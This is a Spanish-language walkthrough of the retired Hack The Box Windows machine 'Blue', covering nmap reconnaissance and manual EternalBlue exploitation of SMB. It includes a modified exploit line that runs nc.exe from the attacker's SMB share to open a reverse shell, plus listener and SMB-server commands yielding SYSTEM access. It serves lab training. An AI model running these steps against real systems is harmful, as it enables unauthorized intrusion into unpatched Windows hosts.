Fecha de lanzamiento | 28 Jul 2017 |
Estado | Retirada |
Dificultad | Easy |
Plataforma | Windows |
IP | 10.10.10.40 |
Información de la máquina
RECONOCIMIENTO
Mediante el escaneo con la herramienta nmap podemos observar los puertos que tiene la máquina víctima expuestos.
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oG allPorts 10.10.10.40 nmap -sCV -p135,139,445,49152,49153,49154,49155,49156,49157 -oN targeted 10.10.10.40
Lanzando scripts dedicados y específicos de nmap
para el puerto 445, vemos que la máquina parece vulnerable al Eternal Blue.
EXPLOTACIÓN
Para esta vulnerabilidad, existe un exploit automatizado para la herramienta Metasploit
, pero vamos a intentar hacerlo de forma manual para desgranar la fase de explotación lo máximo posible.
Para ello vamos a hacer uso de un repositorio antiguo de Github, el cual nos vamos a clonar. Es importante recalcar que al ser antiguo, es un exploit programado en Python2
, por lo que es necesario tenerlo en nuestro equipo instalado. Hay numerosas maneras de obtener Python2
, como entornos dockerizados, entornos virtuales, y mas recursos existentes en Internet. En mi caso he realizado una descarga e instalación normal desde la web oficial de Python.
Una vez nos hemos clonado el repositorio, vamos a correr el archivo checker.py
, que nos va a dar información acerca de si es vulnerable el equipo y de los named pipes.
Si da algún error de autenticación en la parte del check de Pipes, en ocasiones nos funciona si modificamos el script e indicamos como usuario --> Guest
De todos los scripts disponibles del repositorio, vamos a quedarnos con el que se llama zzz_exploit.py
. Nos lo vamos a abrir y vamos a modificar una serie de lineas.
Vamos a filtrar por la función smb_pwm
, y vamos a comentar todas las lineas en relación a la creación de un archivo .txt
, y por ultimo vamos a descomentar y modificar la linea service_exec
. Escribiremos lo siguiente, y a continuación explicare que significan estos comandos.
service_exec(conn, r'cmd /c //10.10.14.4/smb/nc.exe -e cmd 10.10.14.4 443')
Básicamente le estamos pidiendo que acceda a un directorio compartido de nuestro equipo y que ejecute un binario llamado nc.exe
con una serie de argumentos para entablarnos una conexión reversa con nuestro equipo.
Al igual que en el checker, si hay errores de autenticación podemos introducir Guest como usuario en la primera parte del exploit.
Antes de correr el script, evidentemente tenemos que ubicar el ejecutable de NetCat
, ofrecerlo como recurso a la maquina victima y a la vez ponernos en escucha por el puerto que hemos indicado (443).
Vamos a dividir la pantalla en tres terminales.
En la primera, localizamos el archivo de NetCat
, nos lo copiamos a nuestro directorio actual y lo compartimos mediante el script smbserver.py
. Tanto NetCat
como el script, forman parte del repositorio de SecLists
. Podéis clonarlo para tener la ultima versión.
smbserver.py smb $(pwd) -smb2support
En la segunda, mediante el uso de la herramienta rlwrap
y NetCat
, nos ponemos en escucha por el puerto 443.
rlwrap nc -lvnp 443
Por ultimo, en la tercera, vamos a correr el script (acordaros de que hay que usar Python2).
python2 zzz_exploit.py 10.10.10.40
Obtenemos acceso como SYSTEM al sistema, y ya podemos ver las dos flags para reportarlas en la plataforma.